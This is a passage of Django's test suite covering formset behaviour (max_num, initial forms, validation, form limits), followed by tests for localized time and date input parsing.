            """<tr><th><label for="id_form-0-name">Name:</label></th>
<td><input type="text" name="form-0-name" id="id_form-0-name" /></td></tr>
<tr><th><label for="id_form-1-name">Name:</label></th>
<td><input type="text" name="form-1-name" id="id_form-1-name" /></td></tr>
<tr><th><label for="id_form-2-name">Name:</label></th>
<td><input type="text" name="form-2-name" id="id_form-2-name" /></td></tr>"""
        )

        # If max_num is 0 then no form is rendered at all.
        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=3, max_num=0)
        formset = LimitedFavoriteDrinkFormSet()
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))

        self.assertEqual('\n'.join(form_output), "")

        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=5, max_num=2)
        formset = LimitedFavoriteDrinkFormSet()
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<tr><th><label for="id_form-0-name">Name:</label></th><td>
<input type="text" name="form-0-name" id="id_form-0-name" /></td></tr>
<tr><th><label for="id_form-1-name">Name:</label></th>
<td><input type="text" name="form-1-name" id="id_form-1-name" /></td></tr>"""
        )

        # Ensure that max_num has no effect when extra is less than max_num.

        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=1, max_num=2)
        formset = LimitedFavoriteDrinkFormSet()
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<tr><th><label for="id_form-0-name">Name:</label></th>
<td><input type="text" name="form-0-name" id="id_form-0-name" /></td></tr>"""
        )

    def test_max_num_with_initial_data(self):
        # max_num with initial data

        # When not passed, max_num will take a high default value, leaving the
        # number of forms only controlled by the value of the initial and extra
        # parameters.

        initial = [
            {'name': 'Fernet and Coke'},
        ]
        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=1)
        formset = LimitedFavoriteDrinkFormSet(initial=initial)
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<tr><th><label for="id_form-0-name">Name:</label></th>
<td><input type="text" name="form-0-name" value="Fernet and Coke" id="id_form-0-name" /></td></tr>
<tr><th><label for="id_form-1-name">Name:</label></th>
<td><input type="text" name="form-1-name" id="id_form-1-name" /></td></tr>"""
        )

    def test_max_num_zero(self):
        # If max_num is 0 then no form is rendered at all, regardless of extra,
        # unless initial data is present. (This changed in the patch for bug
        # 20084 -- previously max_num=0 trumped initial data)

        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=1, max_num=0)
        formset = LimitedFavoriteDrinkFormSet()
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))

        self.assertEqual('\n'.join(form_output), "")

        # test that initial trumps max_num

        initial = [
            {'name': 'Fernet and Coke'},
            {'name': 'Bloody Mary'},
        ]
        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=1, max_num=0)
        formset = LimitedFavoriteDrinkFormSet(initial=initial)
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))
        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<tr><th><label for="id_form-0-name">Name:</label></th>
<td><input id="id_form-0-name" name="form-0-name" type="text" value="Fernet and Coke" /></td></tr>
<tr><th><label for="id_form-1-name">Name:</label></th>
<td><input id="id_form-1-name" name="form-1-name" type="text" value="Bloody Mary" /></td></tr>"""
        )

    def test_more_initial_than_max_num(self):
        # More initial forms than max_num now results in all initial forms
        # being displayed (but no extra forms).  This behavior was changed
        # from max_num taking precedence in the patch for #20084

        initial = [
            {'name': 'Gin Tonic'},
            {'name': 'Bloody Mary'},
            {'name': 'Jack and Coke'},
        ]
        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=1, max_num=2)
        formset = LimitedFavoriteDrinkFormSet(initial=initial)
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))
        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<tr><th><label for="id_form-0-name">Name:</label></th>
<td><input id="id_form-0-name" name="form-0-name" type="text" value="Gin Tonic" /></td></tr>
<tr><th><label for="id_form-1-name">Name:</label></th>
<td><input id="id_form-1-name" name="form-1-name" type="text" value="Bloody Mary" /></td></tr>
<tr><th><label for="id_form-2-name">Name:</label></th>
<td><input id="id_form-2-name" name="form-2-name" type="text" value="Jack and Coke" /></td></tr>"""
        )

        # One form from initial and extra=3 with max_num=2 should result in the one
        # initial form and one extra.
        initial = [
            {'name': 'Gin Tonic'},
        ]
        LimitedFavoriteDrinkFormSet = formset_factory(FavoriteDrinkForm, extra=3, max_num=2)
        formset = LimitedFavoriteDrinkFormSet(initial=initial)
        form_output = []

        for form in formset.forms:
            form_output.append(str(form))

        self.assertHTMLEqual(
            '\n'.join(form_output),
            """<tr><th><label for="id_form-0-name">Name:</label></th>
<td><input type="text" name="form-0-name" value="Gin Tonic" id="id_form-0-name" /></td></tr>
<tr><th><label for="id_form-1-name">Name:</label></th>
<td><input type="text" name="form-1-name" id="id_form-1-name" /></td></tr>"""
        )

    def test_regression_6926(self):
        # Regression test for #6926 ##################################################
        # Make sure the management form has the correct prefix.

        formset = FavoriteDrinksFormSet()
        self.assertEqual(formset.management_form.prefix, 'form')

        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '0',
            'form-MIN_NUM_FORMS': '0',
            'form-MAX_NUM_FORMS': '0',
        }
        formset = FavoriteDrinksFormSet(data=data)
        self.assertEqual(formset.management_form.prefix, 'form')

        formset = FavoriteDrinksFormSet(initial={})
        self.assertEqual(formset.management_form.prefix, 'form')

    def test_regression_12878(self):
        # Regression test for #12878 #################################################

        data = {
            'drinks-TOTAL_FORMS': '2',  # the number of forms rendered
            'drinks-INITIAL_FORMS': '0',  # the number of forms with initial data
            'drinks-MIN_NUM_FORMS': '0',  # min number of forms
            'drinks-MAX_NUM_FORMS': '0',  # max number of forms
            'drinks-0-name': 'Gin and Tonic',
            'drinks-1-name': 'Gin and Tonic',
        }

        formset = FavoriteDrinksFormSet(data, prefix='drinks')
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.non_form_errors(), ['You may only specify a drink once.'])

    def test_formset_iteration(self):
        # Regression tests for #16455 -- formset instances are iterable
        ChoiceFormset = formset_factory(Choice, extra=3)
        formset = ChoiceFormset()

        # confirm iterated formset yields formset.forms
        forms = list(formset)
        self.assertEqual(forms, formset.forms)
        self.assertEqual(len(formset), len(forms))

        # confirm indexing of formset
        self.assertEqual(formset[0], forms[0])
        with self.assertRaises(IndexError):
            formset[3]

        # Formsets can override the default iteration order
        class BaseReverseFormSet(BaseFormSet):
            def __iter__(self):
                return reversed(self.forms)

            def __getitem__(self, idx):
                return super(BaseReverseFormSet, self).__getitem__(len(self) - idx - 1)

        ReverseChoiceFormset = formset_factory(Choice, BaseReverseFormSet, extra=3)
        reverse_formset = ReverseChoiceFormset()

        # confirm that __iter__ modifies rendering order
        # compare forms from "reverse" formset with forms from original formset
        self.assertEqual(str(reverse_formset[0]), str(forms[-1]))
        self.assertEqual(str(reverse_formset[1]), str(forms[-2]))
        self.assertEqual(len(reverse_formset), len(forms))

    def test_formset_nonzero(self):
        """
        Formsets with no forms should still evaluate as true.
        Regression test for #15722
        """
        ChoiceFormset = formset_factory(Choice, extra=0)
        formset = ChoiceFormset()
        self.assertEqual(len(formset.forms), 0)
        self.assertTrue(formset)

    def test_formset_splitdatetimefield(self):
        """
        Formset should also work with SplitDateTimeField(initial=datetime.datetime.now).
        Regression test for #18709.
        """
        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-0-when_0': '1904-06-16',
            'form-0-when_1': '15:51:33',
        }
        formset = SplitDateTimeFormSet(data)
        self.assertTrue(formset.is_valid())

    def test_formset_error_class(self):
        # Regression tests for #16479 -- formsets form use ErrorList instead of supplied error_class
        class CustomErrorList(ErrorList):
            pass

        formset = FavoriteDrinksFormSet(error_class=CustomErrorList)
        self.assertEqual(formset.forms[0].error_class, CustomErrorList)

    def test_formset_calls_forms_is_valid(self):
        # Regression tests for #18574 -- make sure formsets call
        # is_valid() on each form.

        class AnotherChoice(Choice):
            def is_valid(self):
                self.is_valid_called = True
                return super(AnotherChoice, self).is_valid()

        AnotherChoiceFormSet = formset_factory(AnotherChoice)
        data = {
            'choices-TOTAL_FORMS': '1',  # number of forms rendered
            'choices-INITIAL_FORMS': '0',  # number of forms with initial data
            'choices-MIN_NUM_FORMS': '0',  # min number of forms
            'choices-MAX_NUM_FORMS': '0',  # max number of forms
            'choices-0-choice': 'Calexico',
            'choices-0-votes': '100',
        }
        formset = AnotherChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertTrue(formset.is_valid())
        self.assertTrue(all(form.is_valid_called for form in formset.forms))

    def test_hard_limit_on_instantiated_forms(self):
        """A formset has a hard limit on the number of forms instantiated."""
        # reduce the default limit of 1000 temporarily for testing
        _old_DEFAULT_MAX_NUM = formsets.DEFAULT_MAX_NUM
        try:
            formsets.DEFAULT_MAX_NUM = 2
            ChoiceFormSet = formset_factory(Choice, max_num=1)
            # someone fiddles with the mgmt form data...
            formset = ChoiceFormSet(
                {
                    'choices-TOTAL_FORMS': '4',
                    'choices-INITIAL_FORMS': '0',
                    'choices-MIN_NUM_FORMS': '0',  # min number of forms
                    'choices-MAX_NUM_FORMS': '4',
                    'choices-0-choice': 'Zero',
                    'choices-0-votes': '0',
                    'choices-1-choice': 'One',
                    'choices-1-votes': '1',
                    'choices-2-choice': 'Two',
                    'choices-2-votes': '2',
                    'choices-3-choice': 'Three',
                    'choices-3-votes': '3',
                },
                prefix='choices',
            )
            # But we still only instantiate 3 forms
            self.assertEqual(len(formset.forms), 3)
            # and the formset isn't valid
            self.assertFalse(formset.is_valid())
        finally:
            formsets.DEFAULT_MAX_NUM = _old_DEFAULT_MAX_NUM

    def test_increase_hard_limit(self):
        """Can increase the built-in forms limit via a higher max_num."""
        # reduce the default limit of 1000 temporarily for testing
        _old_DEFAULT_MAX_NUM = formsets.DEFAULT_MAX_NUM
        try:
            formsets.DEFAULT_MAX_NUM = 3
            # for this form, we want a limit of 4
            ChoiceFormSet = formset_factory(Choice, max_num=4)
            formset = ChoiceFormSet(
                {
                    'choices-TOTAL_FORMS': '4',
                    'choices-INITIAL_FORMS': '0',
                    'choices-MIN_NUM_FORMS': '0',  # min number of forms
                    'choices-MAX_NUM_FORMS': '4',
                    'choices-0-choice': 'Zero',
                    'choices-0-votes': '0',
                    'choices-1-choice': 'One',
                    'choices-1-votes': '1',
                    'choices-2-choice': 'Two',
                    'choices-2-votes': '2',
                    'choices-3-choice': 'Three',
                    'choices-3-votes': '3',
                },
                prefix='choices',
            )
            # Four forms are instantiated and no exception is raised
            self.assertEqual(len(formset.forms), 4)
        finally:
            formsets.DEFAULT_MAX_NUM = _old_DEFAULT_MAX_NUM

    def test_non_form_errors_run_full_clean(self):
        # Regression test for #11160
        # If non_form_errors() is called without calling is_valid() first,
        # it should ensure that full_clean() is called.
        class BaseCustomFormSet(BaseFormSet):
            def clean(self):
                raise ValidationError("This is a non-form error")

        ChoiceFormSet = formset_factory(Choice, formset=BaseCustomFormSet)
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertIsInstance(formset.non_form_errors(), ErrorList)
        self.assertEqual(list(formset.non_form_errors()), ['This is a non-form error'])

    def test_validate_max_ignores_forms_marked_for_deletion(self):
        class CheckForm(Form):
            field = IntegerField()

        data = {
            'check-TOTAL_FORMS': '2',
            'check-INITIAL_FORMS': '0',
            'check-MAX_NUM_FORMS': '1',
            'check-0-field': '200',
            'check-0-DELETE': '',
            'check-1-field': '50',
            'check-1-DELETE': 'on',
        }
        CheckFormSet = formset_factory(CheckForm, max_num=1, validate_max=True,
                                       can_delete=True)
        formset = CheckFormSet(data, prefix='check')
        self.assertTrue(formset.is_valid())

    def test_formset_total_error_count(self):
        """A valid formset should have 0 total errors."""
        data = [  # formset_data, expected error count
            ([('Calexico', '100')], 0),
            ([('Calexico', '')], 1),
            ([('', 'invalid')], 2),
            ([('Calexico', '100'), ('Calexico', '')], 1),
            ([('Calexico', ''), ('Calexico', '')], 2),
        ]

        for formset_data, expected_error_count in data:
            formset = self.make_choiceformset(formset_data)
            self.assertEqual(formset.total_error_count(), expected_error_count)

    def test_formset_total_error_count_with_non_form_errors(self):
        data = {
            'choices-TOTAL_FORMS': '2',  # the number of forms rendered
            'choices-INITIAL_FORMS': '0',  # the number of forms with initial data
            'choices-MAX_NUM_FORMS': '2',  # max number of forms - should be ignored
            'choices-0-choice': 'Zero',
            'choices-0-votes': '0',
            'choices-1-choice': 'One',
            'choices-1-votes': '1',
        }

        ChoiceFormSet = formset_factory(Choice, extra=1, max_num=1, validate_max=True)
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertEqual(formset.total_error_count(), 1)

        data['choices-1-votes'] = ''
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertEqual(formset.total_error_count(), 2)

    def test_html_safe(self):
        formset = self.make_choiceformset()
        self.assertTrue(hasattr(formset, '__html__'))
        self.assertEqual(force_text(formset), formset.__html__())


data = {
    'choices-TOTAL_FORMS': '1',  # the number of forms rendered
    'choices-INITIAL_FORMS': '0',  # the number of forms with initial data
    'choices-MIN_NUM_FORMS': '0',  # min number of forms
    'choices-MAX_NUM_FORMS': '0',  # max number of forms
    'choices-0-choice': 'Calexico',
    'choices-0-votes': '100',
}


class FormsetAsFooTests(SimpleTestCase):
    def test_as_table(self):
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertHTMLEqual(
            formset.as_table(),
            """<input type="hidden" name="choices-TOTAL_FORMS" value="1" />
<input type="hidden" name="choices-INITIAL_FORMS" value="0" />
<input type="hidden" name="choices-MIN_NUM_FORMS" value="0" />
<input type="hidden" name="choices-MAX_NUM_FORMS" value="0" />
<tr><th>Choice:</th><td><input type="text" name="choices-0-choice" value="Calexico" /></td></tr>
<tr><th>Votes:</th><td><input type="number" name="choices-0-votes" value="100" /></td></tr>"""
        )

    def test_as_p(self):
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertHTMLEqual(
            formset.as_p(),
            """<input type="hidden" name="choices-TOTAL_FORMS" value="1" />
<input type="hidden" name="choices-INITIAL_FORMS" value="0" />
<input type="hidden" name="choices-MIN_NUM_FORMS" value="0" />
<input type="hidden" name="choices-MAX_NUM_FORMS" value="0" />
<p>Choice: <input type="text" name="choices-0-choice" value="Calexico" /></p>
<p>Votes: <input type="number" name="choices-0-votes" value="100" /></p>"""
        )

    def test_as_ul(self):
        formset = ChoiceFormSet(data, auto_id=False, prefix='choices')
        self.assertHTMLEqual(
            formset.as_ul(),
            """<input type="hidden" name="choices-TOTAL_FORMS" value="1" />
<input type="hidden" name="choices-INITIAL_FORMS" value="0" />
<input type="hidden" name="choices-MIN_NUM_FORMS" value="0" />
<input type="hidden" name="choices-MAX_NUM_FORMS" value="0" />
<li>Choice: <input type="text" name="choices-0-choice" value="Calexico" /></li>
<li>Votes: <input type="number" name="choices-0-votes" value="100" /></li>"""
        )


# Regression test for #11418 #################################################
class ArticleForm(Form):
    title = CharField()
    pub_date = DateField()

ArticleFormSet = formset_factory(ArticleForm)


class TestIsBoundBehavior(SimpleTestCase):
    def test_no_data_raises_validation_error(self):
        with self.assertRaises(ValidationError):
            ArticleFormSet({}).is_valid()

    def test_with_management_data_attrs_work_fine(self):
        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
        }
        formset = ArticleFormSet(data)
        self.assertEqual(0, formset.initial_form_count())
        self.assertEqual(1, formset.total_form_count())
        self.assertTrue(formset.is_bound)
        self.assertTrue(formset.forms[0].is_bound)
        self.assertTrue(formset.is_valid())
        self.assertTrue(formset.forms[0].is_valid())
        self.assertEqual([{}], formset.cleaned_data)

    def test_form_errors_are_caught_by_formset(self):
        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '0',
            'form-0-title': 'Test',
            'form-0-pub_date': '1904-06-16',
            'form-1-title': 'Test',
            'form-1-pub_date': '',  # <-- this date is missing but required
        }
        formset = ArticleFormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual([{}, {'pub_date': ['This field is required.']}], formset.errors)

    def test_empty_forms_are_unbound(self):
        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-0-title': 'Test',
            'form-0-pub_date': '1904-06-16',
        }
        unbound_formset = ArticleFormSet()
        bound_formset = ArticleFormSet(data)

        empty_forms = [
            unbound_formset.empty_form,
            bound_formset.empty_form
        ]

        # Empty forms should be unbound
        self.assertFalse(empty_forms[0].is_bound)
        self.assertFalse(empty_forms[1].is_bound)

        # The empty forms should be equal.
        self.assertHTMLEqual(empty_forms[0].as_p(), empty_forms[1].as_p())


class TestEmptyFormSet(SimpleTestCase):
    def test_empty_formset_is_valid(self):
        """Test that an empty formset still calls clean()"""
        EmptyFsetWontValidateFormset = formset_factory(FavoriteDrinkForm, extra=0, formset=EmptyFsetWontValidate)
        formset = EmptyFsetWontValidateFormset(
            data={'form-INITIAL_FORMS': '0', 'form-TOTAL_FORMS': '0'},
            prefix="form",
        )
        formset2 = EmptyFsetWontValidateFormset(
            data={'form-INITIAL_FORMS': '0', 'form-TOTAL_FORMS': '1', 'form-0-name': 'bah'},
            prefix="form",
        )
        self.assertFalse(formset.is_valid())
        self.assertFalse(formset2.is_valid())

    def test_empty_formset_media(self):
        """Make sure media is available on empty formset, refs #19545"""
        class MediaForm(Form):
            class Media:
                js = ('some-file.js',)
        self.assertIn('some-file.js', str(formset_factory(MediaForm, extra=0)().media))

    def test_empty_formset_is_multipart(self):
        """Make sure `is_multipart()` works with empty formset, refs #19545"""
        class FileForm(Form):
            file = FileField()
        self.assertTrue(formset_factory(FileForm, extra=0)().is_multipart())






from datetime import date, datetime, time

from django import forms
from django.test import SimpleTestCase, override_settings
from django.utils.translation import activate, deactivate


@override_settings(TIME_INPUT_FORMATS=["%I:%M:%S %p", "%I:%M %p"], USE_L10N=True)
class LocalizedTimeTests(SimpleTestCase):
    def setUp(self):
        # nl/formats.py has customized TIME_INPUT_FORMATS:
        # ['%H:%M:%S', '%H.%M:%S', '%H.%M', '%H:%M']
        activate('nl')

    def tearDown(self):
        deactivate()

    def test_timeField(self):
        "TimeFields can parse dates in the default format"
        f = forms.TimeField()
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13:30:05')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip
        text = f.widget.format_value(result)
        self.assertEqual(text, '13:30:05')

        # Parse a time in a valid, but non-default format, get a parsed result
        result = f.clean('13:30')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:00")

        # ISO formats are accepted, even if not specified in formats.py
        result = f.clean('13:30:05.000155')
        self.assertEqual(result, time(13, 30, 5, 155))

    def test_localized_timeField(self):
        "Localized TimeFields act as unlocalized widgets"
        f = forms.TimeField(localize=True)
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13:30:05')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, '13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13:30')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:00")

    def test_timeField_with_inputformat(self):
        "TimeFields with manually specified input formats can accept those formats"
        f = forms.TimeField(input_formats=["%H.%M.%S", "%H.%M"])
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM')
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13.30.05')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:05")

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13.30')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:00")

    def test_localized_timeField_with_inputformat(self):
        "Localized TimeFields with manually specified input formats can accept those formats"
        f = forms.TimeField(input_formats=["%H.%M.%S", "%H.%M"], localize=True)
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM')
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13.30.05')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:05")

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13.30')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:00")


@override_settings(TIME_INPUT_FORMATS=["%I:%M:%S %p", "%I:%M %p"])
class CustomTimeInputFormatsTests(SimpleTestCase):
    def test_timeField(self):
        "TimeFields can parse dates in the default format"
        f = forms.TimeField()
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('1:30:05 PM')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip
        text = f.widget.format_value(result)
        self.assertEqual(text, '01:30:05 PM')

        # Parse a time in a valid, but non-default format, get a parsed result
        result = f.clean('1:30 PM')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:00 PM")

    def test_localized_timeField(self):
        "Localized TimeFields act as unlocalized widgets"
        f = forms.TimeField(localize=True)
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('1:30:05 PM')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, '01:30:05 PM')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('01:30 PM')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:00 PM")

    def test_timeField_with_inputformat(self):
        "TimeFields with manually specified input formats can accept those formats"
        f = forms.TimeField(input_formats=["%H.%M.%S", "%H.%M"])
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM')
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13.30.05')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:05 PM")

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13.30')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:00 PM")

    def test_localized_timeField_with_inputformat(self):
        "Localized TimeFields with manually specified input formats can accept those formats"
        f = forms.TimeField(input_formats=["%H.%M.%S", "%H.%M"], localize=True)
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM')
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13.30.05')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:05 PM")

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13.30')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:00 PM")


class SimpleTimeFormatTests(SimpleTestCase):
    def test_timeField(self):
        "TimeFields can parse dates in the default format"
        f = forms.TimeField()
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13:30:05')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:05")

        # Parse a time in a valid, but non-default format, get a parsed result
        result = f.clean('13:30')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:00")

    def test_localized_timeField(self):
        "Localized TimeFields in a non-localized environment act as unlocalized widgets"
        f = forms.TimeField()
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13:30:05')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:05")

        # Parse a time in a valid format, get a parsed result
        result = f.clean('13:30')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:00")

    def test_timeField_with_inputformat(self):
        "TimeFields with manually specified input formats can accept those formats"
        f = forms.TimeField(input_formats=["%I:%M:%S %p", "%I:%M %p"])
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('1:30:05 PM')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:05")

        # Parse a time in a valid format, get a parsed result
        result = f.clean('1:30 PM')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:00")

    def test_localized_timeField_with_inputformat(self):
        "Localized TimeFields with manually specified input formats can accept those formats"
        f = forms.TimeField(input_formats=["%I:%M:%S %p", "%I:%M %p"], localize=True)
        # Parse a time in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05')

        # Parse a time in a valid format, get a parsed result
        result = f.clean('1:30:05 PM')
        self.assertEqual(result, time(13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:05")

        # Parse a time in a valid format, get a parsed result
        result = f.clean('1:30 PM')
        self.assertEqual(result, time(13, 30, 0))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "13:30:00")


@override_settings(DATE_INPUT_FORMATS=["%d/%m/%Y", "%d-%m-%Y"], USE_L10N=True)
class LocalizedDateTests(SimpleTestCase):
    def setUp(self):
        activate('de')

    def tearDown(self):
        deactivate()

    def test_dateField(self):
        "DateFields can parse dates in the default format"
        f = forms.DateField()
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('21/12/2010')

        # ISO formats are accepted, even if not specified in formats.py
        self.assertEqual(f.clean('2010-12-21'), date(2010, 12, 21))

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip
        text = f.widget.format_value(result)
        self.assertEqual(text, '21.12.2010')

        # Parse a date in a valid, but non-default format, get a parsed result
        result = f.clean('21.12.10')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

    def test_localized_dateField(self):
        "Localized DateFields act as unlocalized widgets"
        f = forms.DateField(localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('21/12/2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, '21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.10')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

    def test_dateField_with_inputformat(self):
        "DateFields with manually specified input formats can accept those formats"
        f = forms.DateField(input_formats=["%m.%d.%Y", "%m-%d-%Y"])
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21')
        with self.assertRaises(forms.ValidationError):
            f.clean('21/12/2010')
        with self.assertRaises(forms.ValidationError):
            f.clean('21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12.21.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12-21-2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

    def test_localized_dateField_with_inputformat(self):
        "Localized DateFields with manually specified input formats can accept those formats"
